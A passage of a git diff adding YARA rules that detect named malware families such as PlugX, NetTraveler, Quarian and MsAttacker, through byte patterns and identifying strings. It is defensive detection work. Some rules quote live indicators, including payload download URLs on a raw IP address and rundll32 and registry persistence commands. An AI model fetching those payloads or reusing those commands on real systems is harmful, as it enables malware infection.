"\\DbxUpdate\\" wide + + // other folders + $mc1 = "\\Micet\\" + + // embedded file names + $n1 = "IconCacheEt.dat" wide + $n2 = "IconConfigEt.dat" wide + + $m1 = "\x00\x00ERXXXXXXX\x00\x00" wide + $m2 = "\x00\x00111\x00\x00" wide + $m3 = "\x00\x00ETUN\x00\x00" wide + $m4 = "\x00\x00ER\x00\x00" wide + + condition: + any of them //todo: finetune this + +} + +rule LURK0 : Family LURK0 { + + meta: + description = "rule for lurk0" + author = "Katie Kleemola" + last_updated = "07-22-2014" + + condition: + LURK0Header and SharedStrings + +} + +rule CCTV0 : Family CCTV0 { + + meta: + description = "rule for cctv0" + author = "Katie Kleemola" + last_updated = "07-22-2014" + + condition: + CCTV0Header and SharedStrings + +} diff --git a/data/ioc/yara/malware_families/maccontrol.yara b/data/ioc/yara/malware_families/maccontrol.yara new file mode 100644 index 0000000..d54f336 --- /dev/null +++ b/data/ioc/yara/malware_families/maccontrol.yara @@ -0,0 +1,47 @@ +private rule MacControlCode : MacControl Family +{ + meta: + description = "MacControl code tricks" + author = "Seth Hardy" + last_modified = "2014-06-17" + + strings: + // Load these function strings 4 characters at a time. These check the first two blocks: + $L4_Accept = { C7 ?? 41 63 63 65 C7 ?? 04 70 74 3A 20 } + $L4_AcceptLang = { C7 ?? 41 63 63 65 C7 ?? 04 70 74 2D 4C } + $L4_Pragma = { C7 ?? 50 72 61 67 C7 ?? 04 6D 61 3A 20 } + $L4_Connection = { C7 ?? 43 6F 6E 6E C7 ?? 04 65 63 74 69 } + $GEThgif = { C7 ?? 47 45 54 20 C7 ?? 04 2F 68 2E 67 } + + condition: + all of ($L4*) or $GEThgif +} + +private rule MacControlStrings : MacControl Family +{ + meta: + description = "MacControl Identifying Strings" + author = "Seth Hardy" + last_modified = "2014-06-17" + + strings: + $ = "HTTPHeadGet" + $ = "/Library/launched" + $ = "My connect error with no ip!" + $ = "Send File is Failed" + $ = "****************************You Have got it!****************************" + + condition: + any of them +} + +rule MacControl : Family +{ + meta: + description = "MacControl" + author = "Seth Hardy" + last_modified = "2014-06-16" + + condition: + MacControlCode or MacControlStrings +} \ No newline at end of file diff --git a/data/ioc/yara/malware_families/malware-families.yara b/data/ioc/yara/malware_families/malware-families.yara new file mode 100644 index 0000000..8a4f696 --- /dev/null +++ b/data/ioc/yara/malware_families/malware-families.yara @@ -0,0 +1,42 @@ +include "3102.yara" +include "9002.yara" +include "bangat.yara" +include "boouset.yara" +include "comfoo.yara" +include "cookies.yara" +include "cxpid.yara" +include "enfal.yara" +include "ezcob.yara" +include "fakem.yara" +include "favorite.yara" +include "glasses.yara" +include "iexpl0re.yara" +include "imuler.yara" +include "insta11.yara" +include "luckycat.yara" +include "lurk0+cctv0.yara" +include "maccontrol.yara" +include "mirage.yara" +include "mongal.yara" +include "msattacker.yara" +include "naikon.yara" +include "naspyupdate.yara" +include "nettraveler.yara" +include "nsfree.yara" +include "olyx.yara" +include "plugx.yara" +include "pubsab.yara" +include "quarian.yara" +include "regsubdat.yara" +include "remote.yara" +include "rookie.yara" +include "rooter.yara" +include "safenet.yara" +include "scarhikn.yara" +include "surtr.yara" +include "t5000.yara" +include "vidgrab.yara" +include "warp.yara" +include "wimmie.yara" +include "xtreme.yara" +include "yayih.yara" diff --git a/data/ioc/yara/malware_families/mirage.yara b/data/ioc/yara/malware_families/mirage.yara new file mode 100644 index 0000000..6ebfc23 --- /dev/null +++ b/data/ioc/yara/malware_families/mirage.yara @@ -0,0 +1,25 @@ +private rule MirageStrings : Mirage Family +{ + meta: + description = "Mirage Identifying Strings" + author = "Seth Hardy" + last_modified = "2014-06-25" + + strings: + $ = "Neo,welcome to the desert of real." wide ascii + $ = "/result?hl=en&id=%s" + + condition: + any of them +} + +rule Mirage : Family +{ + meta: + description = "Mirage" + author = "Seth Hardy" + last_modified = "2014-06-25" + + condition: + MirageStrings +} \ No newline at end of file diff --git a/data/ioc/yara/malware_families/mongal.yara b/data/ioc/yara/malware_families/mongal.yara new file mode 100644 index 0000000..fd59076 --- /dev/null +++ b/data/ioc/yara/malware_families/mongal.yara @@ -0,0 +1,41 @@ +private rule MongalCode : Mongal Family +{ + meta: + description = "Mongal code features" + author = "Seth Hardy" + last_modified = "2014-07-15" + + strings: + // gettickcount value checking + $ = { 8B C8 B8 D3 4D 62 10 F7 E1 C1 EA 06 2B D6 83 FA 05 76 EB } + + condition: + any of them +} + +private rule MongalStrings : Mongal Family +{ + meta: + description = "Mongal Identifying Strings" + author = "Seth Hardy" + last_modified = "2014-07-15" + + strings: + $ = "NSCortr.dll" + $ = "NSCortr1.dll" + $ = "Sina.exe" + + condition: + any of them +} + +rule Mongal : Family +{ + meta: + description = "Mongal" + author = "Seth Hardy" + last_modified = "2014-07-15" + + condition: + MongalCode or MongalStrings +} \ No newline at end of file diff --git a/data/ioc/yara/malware_families/msattacker.yara b/data/ioc/yara/malware_families/msattacker.yara new file mode 100644 index 0000000..81a1031 --- /dev/null +++ b/data/ioc/yara/malware_families/msattacker.yara @@ -0,0 +1,35 @@ +private rule MsAttackerStage2 : MsAttacker Family +{ + meta: + description = "Identifying strings for MsAttacker stage 2" + last_modified = "2015-03-12" + strings: + $ = "MiniJS.dll" + $ = "%s \"rundll32.exe %s RealService %s\" /f" + $ = "reg delete HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Start Pages\" /f" + $ = "3111431114311121270018000127001808012700180" + $ = "Global\\MSAttacker %d" + condition: + any of them +} +private rule MsAttackerStage1 : MsAttacker Family +{ + meta: + description = "Identifying strings for MsAttacker stage 1" + last_modified = "2015-03-12" + + strings: + $ = "http://122.10.117.152/download/ms/CryptBase.32.cab" + $ = "http://122.10.117.152/download/ms/CryptBase.64.cab" + $ = "http://122.10.117.152/download/ms/MiniJS.dll" + $ = "MiniJS.dll" + $ = "%s;new Downloader('%s', '%s').Fire();" + $ = "rundll32.exe %s RealService %s" + condition: + any of them +} + +rule MsAttacker : MsAttacker Family { + condition: + MsAttackerStage1 or MsAttackerStage2 +} \ No newline at end of file diff --git a/data/ioc/yara/malware_families/naikon.yara b/data/ioc/yara/malware_families/naikon.yara new file mode 100644 index 0000000..65e0760 --- /dev/null +++ b/data/ioc/yara/malware_families/naikon.yara @@ -0,0 +1,45 @@ +private rule NaikonCode : Naikon Family +{ + meta: + description = "Naikon code features" + author = "Seth Hardy" + last_modified = "2014-06-25" + + strings: + // decryption + $ = { 0F AF C1 C1 E0 1F } // imul eax, ecx; shl eah, 1fh + $ = { 35 5A 01 00 00} // xor eax, 15ah + $ = { 81 C2 7F 14 06 00 } // add edx, 6147fh + + condition: + all of them +} + +private rule NaikonStrings : Naikon Family +{ + meta: + description = "Naikon Identifying Strings" + author = "Seth Hardy" + last_modified = "2014-06-25" + + strings: + $ = "NOKIAN95/WEB" + $ = "/tag=info&id=15" + $ = "skg(3)=&3.2d_u1" + $ = "\\Temp\\iExplorer.exe" + $ = "\\Temp\\\"TSG\"" + + condition: + any of them +} + +rule Naikon : Family +{ + meta: + description = "Naikon" + author = "Seth Hardy" + last_modified = "2014-06-25" + + condition: + NaikonCode or NaikonStrings +} \ No newline at end of file diff --git a/data/ioc/yara/malware_families/naspyupdate.yara b/data/ioc/yara/malware_families/naspyupdate.yara new file mode 100644 index 0000000..8a85273 --- /dev/null +++ b/data/ioc/yara/malware_families/naspyupdate.yara @@ -0,0 +1,42 @@ +private rule nAspyUpdateCode : nAspyUpdate Family +{ + meta: + description = "nAspyUpdate code features" + author = "Seth Hardy" + last_modified = "2014-07-14" + + strings: + // decryption loop in dropper + $ = { 8A 54 24 14 8A 01 32 C2 02 C2 88 01 41 4E 75 F4 } + + condition: + any of them +} + +private rule nAspyUpdateStrings : nAspyUpdate Family +{ + meta: + description = "nAspyUpdate Identifying Strings" + author = "Seth Hardy" + last_modified = "2014-07-14" + + strings: + $ = "\\httpclient.txt" + $ = "password <=14" + $ = "/%ldn.txt" + $ = "Kill You\x00" + + condition: + any of them +} + +rule nAspyUpdate : Family +{ + meta: + description = "nAspyUpdate" + author = "Seth Hardy" + last_modified = "2014-07-14" + + condition: + nAspyUpdateCode or nAspyUpdateStrings +} \ No newline at end of file diff --git a/data/ioc/yara/malware_families/nettraveler.yara b/data/ioc/yara/malware_families/nettraveler.yara new file mode 100644 index 0000000..f5bbe17 --- /dev/null +++ b/data/ioc/yara/malware_families/nettraveler.yara @@ -0,0 +1,88 @@ +//will match both exe and dll components +private rule NetTravExports : NetTraveler Family { + + meta: + description = "Export names for dll component" + author = "Katie Kleemola" + last_updated = "2014-05-20" + + strings: + //dll component exports + $ = "?InjectDll@@YAHPAUHWND__@@K@Z" + $ = "?UnmapDll@@YAHXZ" + $ = "?g_bSubclassed@@3HA" + + condition: + any of them +} + +private rule NetTravStrings : NetTraveler Family { + + + meta: + description = "Identifiers for NetTraveler DLL" + author = "Katie Kleemola" + last_updated = "2014-05-20" + + strings: + //network strings + $ = "?action=updated&hostid=" + $ = "travlerbackinfo" + $ = "?action=getcmd&hostid=" + $ = "%s?action=gotcmd&hostid=" + $ = "%s?hostid=%s&hostname=%s&hostip=%s&filename=%s&filestart=%u&filetext=" + + //debugging strings + $ = "\x00Method1 Fail!!!!!\x00" + $ = "\x00Method3 Fail!!!!!\x00" + $ = "\x00method currect:\x00" + $ = /\x00\x00[\w\-]+ is Running!\x00\x00/ + $ = "\x00OtherTwo\x00" + + condition: + any of them + +} + +private rule NetpassStrings : NetPass Variant { + + meta: + description = "Identifiers for netpass variant" + author = "Katie Kleemola" + last_updated = "2014-05-29" + + strings: + $exif1 = "Device Protect ApplicatioN" wide + $exif2 = "beep.sys" wide //embedded exe name + $exif3 = "BEEP Driver" wide //embedded exe description + + $string1 = "\x00NetPass Update\x00" + $string2 = "\x00%s:DOWNLOAD\x00" + $string3 = "\x00%s:UPDATE\x00" + $string4 = "\x00%s:uNINSTALL\x00" + + condition: + all of ($exif*) or any of ($string*) + +} + + +rule NetTraveler : Family { + meta: + description = "Nettravelr" + author = "Katie Kleemola" + last_updated = "2014-07-08" + + condition: + NetTravExports or NetTravStrings or NetpassStrings + +} + +rule NetPass : Variant { + meta: + description = "netpass variant" + author = "Katie Kleemola" + last_updated = "2014-07-08" + condition: + NetpassStrings +} diff --git a/data/ioc/yara/malware_families/nsfree.yara b/data/ioc/yara/malware_families/nsfree.yara new file mode 100644 index 0000000..30bae26 --- /dev/null +++ b/data/ioc/yara/malware_families/nsfree.yara @@ -0,0 +1,44 @@ +private rule NSFreeCode : NSFree Family +{ + meta: + description = "NSFree code features" + author = "Seth Hardy" + last_modified = "2014-06-24" + + strings: + // push vars then look for MZ + $ = { 53 56 57 66 81 38 4D 5A } + // nops then look for PE\0\0 + $ = { 90 90 90 90 81 3F 50 45 00 00 } + + condition: + all of them +} + +private rule NSFreeStrings : NSFree Family +{ + meta: + description = "NSFree Identifying Strings" + author = "Seth Hardy" + last_modified = "2014-06-24" + + strings: + $ = "\\MicNS\\" nocase + $ = "NSFreeDll" wide ascii + // xor 0x58 dos stub + $ = { 0c 30 31 2b 78 28 2a 37 3f 2a 39 35 78 3b 39 36 36 37 } + + condition: + any of them +} + +rule NSFree : Family +{ + meta: + description = "NSFree" + author = "Seth Hardy" + last_modified = "2014-06-24" + + condition: + NSFreeCode or NSFreeStrings +} \ No newline at end of file diff --git a/data/ioc/yara/malware_families/olyx.yara b/data/ioc/yara/malware_families/olyx.yara new file mode 100644 index 0000000..08cf3a8 --- /dev/null +++ b/data/ioc/yara/malware_families/olyx.yara @@ -0,0 +1,39 @@ +private rule OlyxCode : Olyx Family +{ + meta: + description = "Olyx code tricks" + author = "Seth Hardy" + last_modified = "2014-06-19" + + strings: + $six = { C7 40 04 36 36 36 36 C7 40 08 36 36 36 36 } + $slash = { C7 40 04 5C 5C 5C 5C C7 40 08 5C 5C 5C 5C } + + condition: + any of them +} + +private rule OlyxStrings : Olyx Family +{ + meta: + description = "Olyx Identifying Strings" + author = "Seth Hardy" + last_modified = "2014-06-19" + + strings: + $ = "/Applications/Automator.app/Contents/MacOS/DockLight" + + condition: + any of them +} + +rule Olyx : Family +{ + meta: + description = "Olyx" + author = "Seth Hardy" + last_modified = "2014-06-19" + + condition: + OlyxCode or OlyxStrings +} \ No newline at end of file diff --git a/data/ioc/yara/malware_families/plugx.yara b/data/ioc/yara/malware_families/plugx.yara new file mode 100644 index 0000000..79e8a77 --- /dev/null +++ b/data/ioc/yara/malware_families/plugx.yara @@ -0,0 +1,52 @@ +private rule PlugXBootLDRCode : PlugX Family +{ + meta: + description = "PlugX boot.ldr code tricks" + author = "Seth Hardy" + last_modified = "2014-06-12" + + strings: + $callpop = { E8 00 00 00 00 58 } + // Compares [eax+n] to GetProcAdd, one character at a time. This goes up to GetP: + $GetProcAdd = { 80 38 47 75 36 80 78 01 65 75 30 80 78 02 74 75 2A 80 78 03 50 } + // Load these function strings 4 characters at a time. These check the first two blocks: + $L4_LoadLibraryA = { C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 4C 6F 61 64 C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 4C 69 62 72 } + $L4_VirtualAlloc = { C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 56 69 72 74 C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 75 61 6C 41 } + $L4_VirtualFree = { C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 56 69 72 74 C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 75 61 6C 46 } + $L4_ExitThread = { C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 45 78 69 74 C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 54 68 72 65 } + $L4_ntdll = { C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 6E 74 64 6C 66 C7 ( ?? ?? | ?? ?? ?? ?? ?? ) C6 00 } + $L4_RtlDecompressBuffer = { C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 52 74 6C 44 C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 65 63 6F 6D } + $L4_memcpy = { C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 6D 65 6D 63 66 C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 70 79 } + + condition: + ($callpop at 0) or $GetProcAdd or (all of ($L4_*)) +} + +private rule PlugXStrings : PlugX Family +{ + meta: + description = "PlugX Identifying Strings" + author = "Seth Hardy" + last_modified = "2014-06-12" + + strings: + $BootLDR = "boot.ldr" wide ascii + $Dwork = "d:\\work" nocase + $Plug25 = "plug2.5" + $Plug30 = "Plug3.0" + $Shell6 = "Shell6" + + condition: + $BootLDR or ($Dwork and ($Plug25 or $Plug30 or $Shell6)) +} + +rule PlugX : Family +{ + meta: + description = "PlugX" + author = "Seth Hardy" + last_modified = "2014-06-12" + + condition: + PlugXBootLDRCode or PlugXStrings +} \ No newline at end of file diff --git a/data/ioc/yara/malware_families/pubsab.yara b/data/ioc/yara/malware_families/pubsab.yara new file mode 100644 index 0000000..7a7e07c --- /dev/null +++ b/data/ioc/yara/malware_families/pubsab.yara @@ -0,0 +1,40 @@ +private rule PubSabCode : PubSab Family +{ + meta: + description = "PubSab code tricks" + author = "Seth Hardy" + last_modified = "2014-06-19" + + strings: + $decrypt = { 6B 45 E4 37 89 CA 29 C2 89 55 E4 } + + condition: + any of them +} + +private rule PubSabStrings : PubSab Family +{ + meta: + description = "PubSab Identifying Strings" + author = "Seth Hardy" + last_modified = "2014-06-19" + + strings: + $ = "_deamon_init" + $ = "com.apple.PubSabAgent" + $ = "/tmp/screen.jpeg" + + condition: + any of them +} + +rule PubSab : Family +{ + meta: + description = "PubSab" + author = "Seth Hardy" + last_modified = "2014-06-19" + + condition: + PubSabCode or PubSabStrings +} \ No newline at end of file diff --git a/data/ioc/yara/malware_families/quarian.yara b/data/ioc/yara/malware_families/quarian.yara new file mode 100644 index 0000000..b657ec6 --- /dev/null +++ b/data/ioc/yara/malware_families/quarian.yara @@ -0,0 +1,64 @@ +private rule QuarianCode : Quarian Family +{ + meta: + description = "Quarian code features" + author = "Seth Hardy" + last_modified = "2014-07-09" + + strings: + // decrypt in intelnat.sys + $ = { C1 E? 04 8B ?? F? C1 E? 05 33 C? } + // decrypt in mswsocket.dll + $ = { C1 EF 05 C1 E3 04 33 FB } + $ = { 33 D8 81 EE 47 86 C8 61 } + // loop in msupdate.dll + $ = { FF 45 E8 81 45 EC CC 00 00 00 E9 95 FE FF FF } + + condition: + any of them +} + +private rule QuarianStrings : Quarian Family +{ + meta: + description = "Quarian Identifying Strings" + author = "Seth Hardy" + last_modified = "2014-07-09" + + strings: + $ = "s061779s061750" + $ = "[OnUpLoadFile]" + $ = "[OnDownLoadFile]" + $ = "[FileTransfer]" + $ = "---- Not connect the Manager, so start UnInstall ----" + $ = "------- Enter CompressDownLoadDir ---------" + $ = "------- Enter DownLoadDirectory ---------" + $ = "[HandleAdditionalData]" + $ = "[mswsocket.dll]" + $ = "msupdate.dll........Enter ThreadCmd!" + $ = "ok1-1" + $ = "msupdate_tmp.dll" + $ = "replace Rpcss.dll successfully!" + $ = "f:\\loadhiddendriver-mdl\\objfre_win7_x86\\i386\\intelnat.pdb" + $ = "\\drivercashe\\" wide ascii + $ = "\\microsoft\\windwos\\" wide ascii + $ = "\\DosDevices\\LOADHIDDENDRIVER" wide ascii + $ = "\\Device\\LOADHIDDENDRIVER" wide ascii + $ = "Global\\state_maping" wide ascii + $ = "E:\\Code\\2.0\\2.0_multi-port\\2.0\\ServerInstall_New-2010-0913_sp3\\msupdataDll\\Release\\msupdate_tmp.pdb" + $ = "Global\\unInstall_event_1554_Ower" wide ascii + + condition: + any of them +} + +rule Quarian : Family +{ + meta: + description = "Quarian" + author = "Seth Hardy" + last_modified = "2014-07-09" + + condition: + QuarianCode or QuarianStrings +} \ No newline at end of file diff --git a/data/ioc/yara/malware_families/regsubdat.yara b/data/ioc/yara/malware_families/regsubdat.yara new file mode 100644 index 0000000..d8796a1 --- /dev/null +++ b/data/ioc/yara/malware_families/regsubdat.yara @@ -0,0 +1,47 @@ +private rule RegSubDatCode : RegSubDat Family +{ + meta: + description = "RegSubDat code features" + author = "Seth Hardy" + last_modified = "2014-07-14" + + strings: + // decryption loop + $ = { 80 34 3? 99 40 (3D FB 65 00 00 | 3B C6) 7? F? } + // push then pop values + $ = { 68 FF FF 7F 00 5? } + $ = { 68 FF 7F 00 00 5? } + + condition: + all of them +} + +private rule RegSubDatStrings : RegSubDat Family +{ + meta: + description = "RegSubDat Identifying Strings" + author = "Seth Hardy" + last_modified = "2014-07-14" + + strings: + $avg1 = "Button" + $avg2 = "Allow" + $avg3 = "Identity Protection" + $avg4 = "Allow for all" + $avg5 = "AVG Firewall Asks For Confirmation" + $mutex = "0x1A7B4C9F" + + condition: + all of ($avg*) or $mutex +} + +rule RegSubDat : Family +{ + meta: + description = "RegSubDat" + author = "Seth Hardy" + last_modified = "2014-07-14" + + condition: + RegSubDatCode or RegSubDatStrings +} diff --git a/data/ioc/yara/malware_families/remote.yara b/data/ioc/yara/malware_families/remote.yara new file mode 100644 index 0000000..a2f441d --- /dev/null +++ b/data/ioc/yara/malware_families/remote.yara @@ -0,0 +1,81 @@ +private rule RSharedStrings : Surtr Family { + meta: + description = "identifiers for remote and gmremote" + author = "Katie Kleemola" + last_updated = "07-21-2014" + + strings: + $ = "nView_DiskLoydb" wide + $ = "nView_KeyLoydb" wide + $ = "nView_skins" wide + $ = "UsbLoydb" wide + $ = "%sBurn%s" wide + $ = "soul" wide + + condition: + any of them + +} + + +private rule RemoteStrings : Remote Variant Surtr Family { + meta: + description = "indicators for remote.dll - surtr stage 2" + author = "Katie Kleemola" + last_updated = "07-21-2014" + + strings: + $ = "\x00Remote.dll\x00" + $ = "\x00CGm_PlugBase::" + $ = "\x00ServiceMain\x00_K_H_K_UH\x00" + $ = "\x00_Remote_\x00" wide + condition: + any of them +} + +private rule GmRemoteStrings : GmRemote Variant Family Surtr { + meta: + description = "identifiers for gmremote: surtr stage 2" + author = "Katie Kleemola" + last_updated = "07-21-2014" + + strings: + $ = "\x00x86_GmRemote.dll\x00" + $ = "\x00D:\\Project\\GTProject\\Public\\List\\ListManager.cpp\x00" + $ = "\x00GmShutPoint\x00" + $ = "\x00GmRecvPoint\x00" + $ = "\x00GmInitPoint\x00" + $ = "\x00GmVerPoint\x00" + $ = "\x00GmNumPoint\x00" + $ = "_Gt_Remote_" wide + $ = "%sBurn\\workdll.tmp" wide + + condition: + any of them + +} + +/* + * Check if File has shared identifiers among Surtr Stage 2's + * Then look for unique identifiers to each variant +*/ + +rule GmRemote : Family Surtr Variant GmRemote { + meta: + description = "identifier for gmremote" + author = "Katie Kleemola" + last_updated = "07-25-2014" + + condition: + RSharedStrings and GmRemoteStrings +} + +rule Remote : Family Surtr Variant Remote { + meta: + description = "identifier for remote" + author = "Katie Kleemola" + last_updated = "07-25-2014" + + condition: + RSharedStrings and RemoteStrings +} diff --git a/data/ioc/yara/malware_families/rookie.yara b/data/ioc/yara/malware_families/rookie.yara new file mode 100644 index 0000000..b18e197 --- /dev/null +++ b/data/ioc/yara/malware_families/rookie.yara @@ -0,0 +1,43 @@ +private rule RookieCode : Rookie Family +{ + meta: + description = "Rookie code features" + author = "Seth Hardy" + last_modified = "2014-06-25" + + strings: + // hidden AutoConfigURL + $ = { C6 ?? ?? ?? 41 C6 ?? ?? ?? 75 [4] C6 ?? ?? ?? 6F C6 ?? ?? ?? 43 C6 ?? ?? ?? 6F C6 ?? ?? ?? 6E C6 ?? ?? ?? 66 } + // hidden ProxyEnable + $ = { C6 ?? ?? ?? 50 [4] C6 ?? ?? ?? 6F C6 ?? ?? ?? 78 C6 ?? ?? ?? 79 C6 ?? ?? ?? 45 C6 ?? ?? ?? 6E C6 ?? ?? ?? 61 } + // xor on rand value? + $ = { 8B 1D 10 A1 40 00 [18] FF D3 8A 16 32 D0 88 16 } + + condition: + any of them +} + +private rule RookieStrings : Rookie Family +{ + meta: + description = "Rookie Identifying Strings" + author = "Seth Hardy" + last_modified = "2014-06-25" + + strings: + $ = "RookIE/1.0" + + condition: + any of them +} + +rule Rookie : Family +{ + meta: + description = "Rookie" + author = "Seth Hardy" + last_modified = "2014-06-25" + + condition: + RookieCode or RookieStrings +} diff --git a/data/ioc/yara/malware_families/rooter.yara b/data/ioc/yara/malware_families/rooter.yara new file mode 100644 index 0000000..17a9a72 --- /dev/null +++ b/data/ioc/yara/malware_families/rooter.yara @@ -0,0 +1,43 @@ +private rule RooterCode : Rooter Family +{ + meta: + description = "Rooter code features" + author = "Seth Hardy" + last_modified = "2014-07-10" + + strings: + // xor 0x30 decryption + $ = { 80 B0 ?? ?? ?? ?? 30 40 3D 00 50 00 00 7C F1 } + + condition: + any of them +} + +private rule RooterStrings : Rooter Family +{ + meta: + description = "Rooter Identifying Strings" + author = "Seth Hardy" + last_modified = "2014-07-10" + + strings: + $group1 = "seed\x00" + $group2 = "prot\x00" + $group3 = "ownin\x00" + $group4 = "feed0\x00" + $group5 = "nown\x00" + + condition: + 3 of ($group*) +} + +rule Rooter : Family +{ + meta: + description = "Rooter" + author = "Seth Hardy" + last_modified = "2014-07-10" + + condition: + RooterCode or RooterStrings +} \ No newline at end of file diff --git a/data/ioc/yara/malware_families/safenet.yara b/data/ioc/yara/malware_families/safenet.yara new file mode 100644 index 0000000..6609191 --- /dev/null +++ b/data/ioc/yara/malware_families/safenet.yara @@ -0,0 +1,42 @@ +private rule SafeNetCode : SafeNet Family +{ + meta: + description = "SafeNet code features" + author = "Seth Hardy" + last_modified = "2014-07-16" + + strings: + // add edi, 14h; cmp edi, 50D0F8h + $ = { 83 C7 14 81 FF F8 D0 40 00 } + condition: + any of them +} + +private rule SafeNetStrings : SafeNet Family +{ + meta: + description = "Strings used by SafeNet" + author = "Seth Hardy" + last_modified = "2014-07-16" + + strings: + $ = "6dNfg8Upn5fBzGgj8licQHblQvLnUY19z5zcNKNFdsDhUzuI8otEsBODrzFCqCKr" + $ = "/safe/record.php" + $ = "_Rm.bat" wide ascii + $ = "try\x0d\x0a\x09\x09\x09\x09 del %s" wide ascii + $ = "Ext.org" wide ascii + + condition: + any of them + +} + +rule SafeNet : Family +{ + meta: + description = "SafeNet family" + + condition: + SafeNetCode or SafeNetStrings + +} \ No newline at end of file diff --git a/data/ioc/yara/malware_families/scarhikn.yara b/data/ioc/yara/malware_families/scarhikn.yara new file mode 100644 index 0000000..7b61268 --- /dev/null +++ b/data/ioc/yara/malware_families/scarhikn.yara @@ -0,0 +1,41 @@ +private rule ScarhiknCode : Scarhikn Family +{ + meta: + description = "Scarhikn code features" + author = "Seth Hardy" + last_modified = "2014-06-25" + + strings: + // decryption + $ = { 8B 06 8A 8B ?? ?? ?? ?? 30 0C 38 03 C7 55 43 E8 ?? ?? ?? ?? 3B D8 59 72 E7 } + $ = { 8B 02 8A 8D ?? ?? ?? ?? 30 0C 30 03 C6 8B FB 83 C9 FF 33 C0 45 F2 AE F7 D1 49 3B E9 72 E2 } + + condition: + any of them +} + +private rule ScarhiknStrings : Scarhikn Family +{ + meta: + description = "Scarhikn Identifying Strings" + author = "Seth Hardy" + last_modified = "2014-06-25" + + strings: + $ = "9887___skej3sd" + $ = "haha123" + + condition: + any of them +} + +rule Scarhikn : Family +{ + meta: + description = "Scarhikn" + author = "Seth Hardy" + last_modified = "2014-06-25" + + condition: + ScarhiknCode or ScarhiknStrings +} \ No newline at end of file diff --git a/data/ioc/yara/malware_families/surtr.yara b/data/ioc/yara/malware_families/surtr.yara new file mode 100644 index 0000000..be35074 --- /dev/null +++ b/data/ioc/yara/malware_families/surtr.yara @@ -0,0 +1,51 @@ +private rule SurtrCode : Surtr Family { + meta: + author = "Katie Kleemola" + description = "Code features for Surtr Stage1" + last_updated = "2014-07-16" + + strings: + //decrypt config + $ = { 8A ?? ?? 84 ?? ?? 74 ?? 3C 01 74 ?? 34 01 88 41 3B ?? 72 ?? } + //if Burn folder name is not in strings + $ = { C6 [3] 42 C6 [3] 75 C6 [3] 72 C6 [3] 6E C6 [3] 5C } + //mov char in _Fire + $ = { C6 [3] 5F C6 [3] 46 C6 [3] 69 C6 [3] 72 C6 [3] 65 C6 [3] 2E C6 [3] 64 } + + condition: + any of them + +} + +private rule SurtrStrings : Surtr Family { + meta: + author = "Katie Kleemola" + description = "Strings for Surtr" + last_updated = "2014-07-16" + + strings: + $ = "\x00soul\x00" + $ = "\x00InstallDll.dll\x00" + $ = "\x00_One.dll\x00" + $ = "_Fra.dll" + $ = "CrtRunTime.log" + $ = "Prod.t" + $ = "Proe.t" + $ = "Burn\\" + $ = "LiveUpdata_Mem\\" + + condition: + any of them + +} + +rule Surtr : Family { + meta: + author = "Katie Kleemola" + description = "Rule for Surtr Stage One" + last_updated = "2014-07-16" + + condition: + SurtrStrings or SurtrCode + +} diff --git a/data/ioc/yara/malware_families/t5000.yara b/data/ioc/yara/malware_families/t5000.yara new file mode 100644 index 0000000..1848107 --- /dev/null +++ b/data/ioc/yara/malware_families/t5000.yara @@ -0,0 +1,37 @@ +private rule T5000Strings : T5000 Family +{ + meta: + description = "T5000 Identifying Strings" + author = "Seth Hardy" + last_modified = "2014-06-26" + + strings: + $ = "_tmpR.vbs" + $ = "_tmpg.vbs" + $ = "Dtl.dat" wide ascii + $ = "3C6FB3CA-69B1-454f-8B2F-BD157762810E" + $ = "EED5CA6C-9958-4611-B7A7-1238F2E1B17E" + $ = "8A8FF8AD-D1DE-4cef-B87C-82627677662E" + $ = "43EE34A9-9063-4d2c-AACD-F5C62B849089" + $ = "A8859547-C62D-4e8b-A82D-BE1479C684C9" + $ = "A59CF429-D0DD-4207-88A1-04090680F714" + $ = "utd_CE31" wide ascii + $ = "f:\\Project\\T5000\\Src\\Target\\1 KjetDll.pdb" + $ = "l:\\MyProject\\Vc 7.1\\T5000\\T5000Ver1.28\\Target\\4 CaptureDLL.pdb" + $ = "f:\\Project\\T5000\\Src\\Target\\4 CaptureDLL.pdb" + $ = "E:\\VS2010\\xPlat2\\Release\\InstRes32.pdb" + + condition: + any of them +} + +rule T5000 : Family +{ + meta: + description = "T5000" + author = "Seth Hardy" + last_modified = "2014-06-26" + + condition: + T5000Strings +} \ No newline at end of file diff --git a/data/ioc/yara/malware_families/vidgrab.yara b/data/ioc/yara/malware_families/vidgrab.yara new file mode 100644 index 0000000..4708dbf --- /dev/null +++ b/data/ioc/yara/malware_families/vidgrab.yara @@ -0,0 +1,46 @@ +private rule VidgrabCode : Vidgrab Family +{ + meta: + description = "Vidgrab code tricks" + author = "Seth Hardy" + last_modified = "2014-06-20" + + strings: + $divbyzero = { B8 02 00 00 00 48 48 BA 02 00 00 00 83 F2 02 F7 F0 } + // add eax, ecx; xor byte ptr [eax], ??h; inc ecx + $xorloop = { 03 C1 80 30 (66 | 58) 41 } + $junk = { 8B 4? ?? 8B 4? ?? 03 45 08 52 5A } + + condition: + all of them +} + +private rule VidgrabStrings : Vidgrab Family +{ + meta: + description = "Vidgrab Identifying Strings" + author = "Seth Hardy" + last_modified = "2014-06-20" + + strings: + $ = "IDI_ICON5" wide ascii + $ = "starter.exe" + $ = "wmifw.exe" + $ = "Software\\rar" + $ = "tmp092.tmp" + $ = "temp1.exe" + + condition: + 3 of them +} + +rule Vidgrab : Family +{ + meta: + description = "Vidgrab" + author = "Seth Hardy" + last_modified = "2014-06-20" + + condition: + VidgrabCode or VidgrabStrings +} \ No newline at end of file diff --git a/data/ioc/yara/malware_families/warp.yara b/data/ioc/yara/malware_families/warp.yara new file mode 100644 index 0000000..8e067c5 --- /dev/null +++ b/data/ioc/yara/malware_families/warp.yara @@ -0,0 +1,41 @@ +private rule WarpCode : Warp Family +{ + meta: + description = "Warp code features" + author = "Seth 